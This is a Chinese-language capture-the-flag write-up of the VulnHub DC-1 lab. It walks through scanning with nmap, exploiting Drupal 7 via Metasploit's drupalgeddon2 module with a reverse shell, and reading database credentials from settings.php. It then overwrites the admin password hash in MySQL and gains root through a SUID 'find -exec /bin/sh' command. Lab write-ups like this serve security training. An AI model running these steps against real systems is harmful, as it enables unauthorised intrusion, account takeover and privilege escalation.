靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
搭建好环境,我们用nmap来扫描靶机的ip地址
nmap -sP 192.168.110.1/24
扫描到靶机的ip地址为192.168.110.174,那接下来我们来进行扫描一下端口
nmap -sV 192.168.110.174
发现开放一些22 ssh端口 80 web端口,那我们先访问一下web端口。
简单尝试了一下弱口令 admin admin 等账号密码,发现没有用,那我们就对其进行信息收集一下。
可以看到以上信息,可以看到一个cms是一个Drupal7的系统,我们就可以去搜索一下,该版本是否存在漏洞。
可以看到这里是存在一些可以直接拿到shell的漏洞的,这里讲解的是思路,应为MSF里面集成了这些漏洞,为了方便我们直接去MSF里面去进行漏洞利用。
有7个漏洞利用模块,当然这里没有具体版本,大家就要自己一个一个去尝试了。
这里尝试出这个模块是可以利用的。
exploit/unix/webapp/drupal_drupalgeddon2 #可利用模块
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 #使用该模块
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload generic/shell_reverse_tcp #设置payload
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.110.174 #设置靶机ip地址
配置完成
拿到shell,用ls列出额可以看到flag1.txt
接下来我们用cat来进行查看一下。
看到flag1.txt,且给出提示叫我们去看config配置文件。接下来我们就要找该cms的配置文件,那我们就可以在百度上搜索,该cms下的配置文件默认在哪里。
可以看到在sites/default/settings.php
那我们为了方便可以先用python脚本先完善一下我们的shell
python -c 'import pty; pty.spawn("/bin/bash")'
我们再用cat查看一下 settings.php文件
找到我们的flag2,并且有一段字,英文不够,百度翻译来凑
提示先放这,配置文件里面还有数据库账号密码,那我们可以利用这个账号密码去登陆数据库。
www-data@DC-1:/var/www/sites/default$ mysql -udbuser -pR0ck3t
登陆成功。然后就是在数据库里面寻找一下账号密码的操作了。发现在drupaldb数据库users表里面有账号密码。
我们查看一下这个表
select * from users; #查看users表
可以看到账号admin和被进行加密了的密码,本来一般这种加密的密码都是拿过去暴力破解的,但是还记得我们前面的flag中的提示吗,暴力破解可能不是最好的方法,那么这里肯定有更好的方法去破解它。
这里有一种另外的思路,我这个用户是否存在写权限,有的话我们利用该中密码的加密方式加密一个我i们已知的密码,然后进行替换。那么此方法我们需要两个条件。
1、是否存在写入权限
mysql> show grants for dbuser@localhost; #查看dbuser的权限
这里应该是拥有一个全部权限的,所以第一个条件满足。
2、是否已知该密码的加密方式
想要知道加密方式,因为我们知道该cms,所以我们可以去网上查找该cms的数据库密码是什么加密方式。在官网https://www.drupal.org/node/1023428找到加密脚本位置./script/password-hash.sh
满足以上两个条件,那我们就利用该种加密方式生成一个我们自己想要的密码,这里我么生成一个 123456
www-data@DC-1:/var/www$ php scripts/password-hash.sh 123456 #利用加密脚本生成一段123456的加密密文
接下来我们在登入数据库进行替换
mysql> update drupaldb.users set pass="$S$DaEJdTSzwxutfqOV79Iqvpgjytt0.qDw3AvLRSe5pcYpKz9xbUoR" where name="admin"; #用加密后的123456替换之前的admin的加密密码
替换成功后,那么我们admin账号的密码就为 123456 了。
那我们用我们修改后的密码进行登陆
登陆成功!
然后在Content里面可以看到flag3
并且提示
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
这里提示可以去看shadow文件,且可以用find提权。
我们先去查看一下passwd文件,因为shadow我们没有root权限暂时还看不了。
可以发现flag4在home目录下,那我们再去home目录下看一看
可以看到我们的flag4.txt并且提示在root目录下访问flag,想要进入root目录,那么我们就要进行提权操作了。前面提示可以用find提权,那么估计就是用suid的方法来进行提权了。那我们去查看一下哪些有suid权限位
find / -type f -perm -u=s 2>/dev/null #查找具有suid的权限命令
可以看到有find命令,那我们就可以利用find来进行提权了。
flag4@DC-1:~$ touch getflag
flag4@DC-1:~$ find / -type f -name getflag -exec "whoami" \;
root
flag4@DC-1:~$ find / -type f -name getflag -exec "/bin/sh" \;
提权成功!接下来进入root目录
拿到最后一个flag。